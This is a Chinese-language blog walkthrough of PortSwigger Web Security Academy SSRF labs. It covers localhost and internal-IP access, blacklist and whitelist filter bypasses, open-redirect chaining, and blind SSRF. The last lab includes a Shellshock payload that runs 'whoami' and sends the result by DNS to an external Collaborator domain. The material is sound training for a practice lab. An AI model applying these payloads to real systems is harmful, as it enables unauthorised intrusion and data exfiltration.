portswigger 靶场之 SSRF 篇

All labs | Web Security Academy (portswigger.net)

1. 针对本地服务器的基本 SSRF

易受攻击的参数是:库存检查功能

目标:更改 URL 来访问http://localhost/admin并删除用户carlos

分析:

  1. URL 浏览到 /admin 目录返回一个错误,指出该目录仅可从服务器本地使用,或对已登录的管理员可用。

  2. 找到库存检查功能,打开 burp 进行拦截并发送到 repeater,库存将发出与后端 API 通信的请求。在 burp 中观察到有个参数是stockApi,有 http 字样,判断为编码后 URL。通过 Ctrl+Shift+U 对 URL 解码后,能够看到库存检查功能的 URL 路径和端口号。

  3. 查看是否有应用程序在本地主机上运行,将stockApi值换为http://localhost,发送后显示成功,点开 burp 的 Render,能够看到网站页面上有Admin panel字样,说明进入了管理面板

  4. 在 Response 中搜索 admin,可看到Admin panel的路径是/admin,把路径添加到 stockApi 上后,继续在 Response 中搜索 carlos,可看到删除的路径是/admin/delete?username=carlos

  5. 删除 carlos:http://localhost/admin/delete?username=carlos,遵循 302 重定向

检查库存功能

对 URL 进行解码

访问本地

找到了删除的路径

返回查看成功

2. 针对另一个后端系统的基本 SSRF

易受攻击的参数是:库存检查功能

目标:SSRF 扫 IP 并删除用户carlos

分析:

通过 burp suite

  1. 在库存检查功能处抓包,发送到Intruder,对 IP 地址的最后一位“添加有效载荷 §”,type 填 Number,From 1 To 255 Step 1,然后 Start attack。

  2. 攻击完后通过 Status 排序,找到不一致的发送到 Repeater,在最后面添加/admin

  3. 在 Response 中搜索 carlos,可看到删除的路径是admin/delete?username=carlos

  4. 对 URL 编码后发送,遵循 302 重定向,返回即可看到已成功http://192.168.0.18:8080/admin/delete?username=carlos

通过 python

3. 带有基于黑名单的输入滤波器的 SSRF

易受攻击的参数是: 库存检查功能

目标: 访问 http://localhost/admin 的管理界面并删除用户carlos

分析:

  1. 打开 burp 抓包,修改参数为http://localhost/失败了,然后修改为http://127.0.0.1也失败了,再次修改为http://127.1,因为会自动填充缺少的两位八位字节,点击发送发现渲染出来了
  2. 这说明,没有对127.1进行正则匹配(所以设置白名单比黑名单更好)
  3. 还可以把 IP 地址进行 16 进制编码或者 8 进制
    1. 16 进制 --> 7F000001
    2. 10 进制 --> 2130706433
  4. 后面加入/admin,发送后失败了在 burp 中右击Convert selection对 admin 进行编码,或者大小写绕过,最后找到路径直接删除用户即可

测试 http://127.1

大小写绕过

两次 URL 编码

4. 通过开放重定向漏洞旁路过滤器的 SSRF

要点: Open redirect
分析:

  1. 抓包库存检查功能和Next produst并发送到 Repeater,重命名为 Check stock、Next product

  2. 在 Next product 中通过测试 path 参数,观察到 path 参数被放置在Location响应标头中,Location 响应标头表示 URL 需要重定向页面

  3. 应用程序先验证 stockAPI 参数的 URL 是否在允许的域中,紧接着应用程序请求 URL,触发重定向,遵循重定向,向攻击者构造的内部 URL 发出请求

  4. stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

拦截

重定向

重定向到管理界面

重定向到删除

5. 带外检测的盲 SSRF

在加载产品页面时用 burp 抓包,找到 Referer 标头,开启 Collaborator client 把网址替换为 Referer

6. 带有基于白名单的输入滤波器的 SSRF

要点: 利用 URL 解析中的不一致性来绕过过滤器

步骤:

  1. 首先发出请求http://loaclhost,发现响应告诉我们主机名必须是stock.weliketoshop.net

  2. 使用@在主机名之前的 URL 中嵌入凭据,参数改为http://127.0.0.1@stock.weliketoshop.net

  3. 使用两次 URL 编码后的#使 @stock.weliketoshop.net 失效。#代表网页中的一个位置,位置的标识符

  4. 发出请求http://127.0.0.1%2523@stock.weliketoshop.net即可成功。后面步骤与之前面没有差别了

7. 盲目 SSRF 与壳冲击利用

要点:SSRF 在 Referer, UA 带 Shell shock payload

步骤:

  1. 从 BApp Store 安装“Collaborator Everywhere”扩展,把域名添加到 Burp,以便 Collaborator Everywhere 观察

  2. 回到浏览器,浏览产品页面后点击 return,如此反复,由此产生 HTTP 交互,回到 burp,观察 HTTP 请求中的 User-Agent,并发送到 Intruder

  3. 使用 Burp Collaborator 客户端,更改 Referer 标头,http://192.168.0.1:8080 IP 地址的最后一个八位字节,添加 §

() { :; }; /usr/bin/nslookup $(whoami).yac7iwqg4tsdlyai7czxo0rrcii96y.oastify.com
  1. Payloads 窗口,将 payload 类型为 Numbers,1、255、1,开始攻击

  2. 攻击完成后,回到 Burp Collaborator 客户端,点击 Poll now,能够看到 DNS 交互和操作系统用户的名称

  3. 需要输入操作系统用户的名称即可成功

安装

添加域名

观察 UA

攻击

利用 python
posted @ 2023-02-10 14:48  跛一一  阅读(635)  评论(0编辑  收藏  举报